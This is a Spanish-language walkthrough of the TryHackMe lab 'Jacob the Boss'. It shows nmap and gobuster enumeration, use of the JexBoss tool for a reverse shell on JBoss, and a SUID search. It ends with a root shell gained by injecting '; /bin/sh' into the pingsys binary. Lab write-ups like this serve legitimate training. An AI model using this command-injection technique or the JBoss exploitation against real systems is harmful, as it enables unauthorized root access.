This page looks best with JavaScript enabled

TryHackMe - Jacob the Boss

 ·  ☕ 5 min read  ·  ✍️ sckull

Jacob the Boss es una maquina de TryHackMe aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Titulo Jacob the Boss
Info Find a way in and learn a little more.
Puntos 160
Dificultad Media
Maker waldir

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22), http (80), mysql (3306), apache tomcat (8080) y el servicio jboss (8083) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.80 scan initiated Tue Sep  8 17:24:17 2020 as: nmap -sV -o mini_scan jacobtheboss.box
Nmap scan report for jacobtheboss.box (10.10.186.254)
Host is up (0.28s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) PHP/7.3.20)
111/tcp  open  rpcbind
1090/tcp open  java-rmi    Java RMI
1098/tcp open  java-rmi    Java RMI
1099/tcp open  java-object Java Object Serialization
3306/tcp open  mysql       MariaDB (unauthorized)
4444/tcp open  krb524?
4445/tcp open  java-object Java Object Serialization
4446/tcp open  java-object Java Object Serialization
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
8083/tcp open  http        JBoss service httpd
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1099-TCP:V=7.80%I=7%D=9/8%Time=5F57F69E%P=x86_64-pc-linux-gnu%r(NUL
SF:L,16F,"\xac\xed\0\x05sr\0\x19java\.rmi\.MarshalledObject\|\xbd\x1e\x97\
SF:xedc\xfc>\x02\0\x03I\0\x04hash\[\0\x08locBytest\0\x02\[B\[\0\x08objByte
SF:sq\0~\0\x01xp\]3S\xc2ur\0\x02\[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\0\0xp
SF:\0\0\0\.\xac\xed\0\x05t\0\x1dhttp://jacobtheboss\.box:8083/q\0~\0\0q\0~
SF:\0\0uq\0~\0\x03\0\0\0\xc7\xac\xed\0\x05sr\0\x20org\.jnp\.server\.Naming
SF:Server_Stub\0\0\0\0\0\0\0\x02\x02\0\0xr\0\x1ajava\.rmi\.server\.RemoteS
SF:tub\xe9\xfe\xdc\xc9\x8b\xe1e\x1a\x02\0\0xr\0\x1cjava\.rmi\.server\.Remo
SF:teObject\xd3a\xb4\x91\x0ca3\x1e\x03\0\0xpw;\0\x0bUnicastRef2\0\0\x10jac
SF:obtheboss\.box\0\0\x04J\0\0\0\0\0\0\0\0\xd7\xc7\x1c\xd8\0\0\x01to\x99\x
SF:ed;\x80\0\0x");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4445-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4446-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  8 17:25:12 2020 -- 1 IP address (1 host up) scanned in 54.24 seconds

HTTP

Encontramos una pagina web en el puerto 80.

image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kali@kali:~/thm/jacobtheboss$ gobuster dir -u http://jacobtheboss.box/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/admin (Status: 301)
/cache (Status: 403)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/db (Status: 403)
/inc (Status: 403)
/index.php (Status: 200)
/index.php (Status: 200)
/LICENSE (Status: 200)
/plugins (Status: 403)
/public (Status: 301)
/themes (Status: 301)
/var (Status: 403)

RPCBIND

RCP solo nos muestra que la conexion ha sido rechazada sin las credenciales.

1
2
kali@kali:~/thm/jacobtheboss$ rpcclient -U '' -N jacobtheboss.box
Cannot connect to server.  Error was NT_STATUS_CONNECTION_REFUSED

HTTP 8080

Encontramos JBoss en el puerto 8080.

image

Verificamos la version de la plataforma en /jbossws/.

image

JACOB - USER

JBoss - JexBoss Tool

Utilizamos Jexbooss para verificar si es vulnerable a los diferentes vectores. Vemos que es vulnerable a 3 de los 8 disponibles en esta herramienta.

image

Utilizamos la misma herramienta para ejecutar una shell inversa al igual que en THM - Tony The Tiger.

image

Logramos obtener una shell con el usuario jacob y la flag user.txt.

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion en busqueda de archivos SUID y vemos varios comandos/binarios, a un principio se veia prometedor crontab pero al ejecutar crontab -e lo cual nos permitiria crear un cron como usuario root no era suficiente la shell que teniamos. Vemos tambien pingsys el cual realiza un ping a una determinada IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[jacob@jacobtheboss /]$ find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x. 1 root root  73K Aug  9  2019 /usr/bin/chage
-rws--x--x. 1 root root  24K Apr  1 04:51 /usr/bin/chfn
-rws--x--x. 1 root root  24K Apr  1 04:51 /usr/bin/chsh
-rwsr-xr-x. 1 root root  57K Aug  8  2019 /usr/bin/crontab
-rwsr-xr-x. 1 root root  32K Oct 30  2018 /usr/bin/fusermount
-rwsr-xr-x. 1 root root  77K Aug  9  2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root  44K Apr  1 04:51 /usr/bin/mount
-rwsr-xr-x. 1 root root  41K Aug  9  2019 /usr/bin/newgrp
-rwsr-xr-x. 1 root root  28K Apr  1 03:57 /usr/bin/passwd
-rwsr-xr-x. 1 root root 8.4K Jul 30 22:10 /usr/bin/pingsys
-rwsr-xr-x. 1 root root  24K Apr  1 04:07 /usr/bin/pkexec
-rwsr-xr-x. 1 root root  32K Apr  1 04:51 /usr/bin/su
---s--x--x. 1 root root 144K Apr  1 04:37 /usr/bin/sudo
-rwsr-xr-x. 1 root root  32K Apr  1 04:51 /usr/bin/umount
-rwsr-x---. 1 root dbus  57K Jul 13 14:23 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x. 1 root root  16K Apr  1 04:07 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-xr-x. 1 root root 115K Apr  1 03:55 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root  11K Apr  1 04:00 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root  36K Apr  1 04:00 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root  12K Apr  1 02:50 /usr/sbin/usernetctl

Despues de investigar un poco sobre pingsys encontramos un post en donde habla acerca de este binario, el codigo fuente y de cómo es posible obtener una shell con privilegios root. El Binario que encontramos en la maquina tiene strings muy parecidas al del codigo del post.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[jacob@jacobtheboss /]$ file /usr/bin/pingsys
/usr/bin/pingsys: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6edc93ec3e4b82857772727e602265140ee00823, not stripped
[jacob@jacobtheboss /]$ strings /usr/bin/pingsys
/lib64/ld-linux-x86-64.so.2
wrr~`"e
libc.so.6
setuid
system
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.2.5
UH-P
UH-P
[]A\A]A^A_
ping -c 4 %s
setUID ERROR
;*3$"
[... REDACTED ...]
[root@jacobtheboss .ssh]#

Utilizamos pingsys pasandole una IP y /bin/sh separados por ; lo cual va a realizar ping sobre la IP y luego ejecutará /bin/sh, logramos obtener una shell con usuario root y la flag root.txt.

1
/usr/bin/pingsys '127.0.0.1; /bin/sh'

image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: Jacob the Boss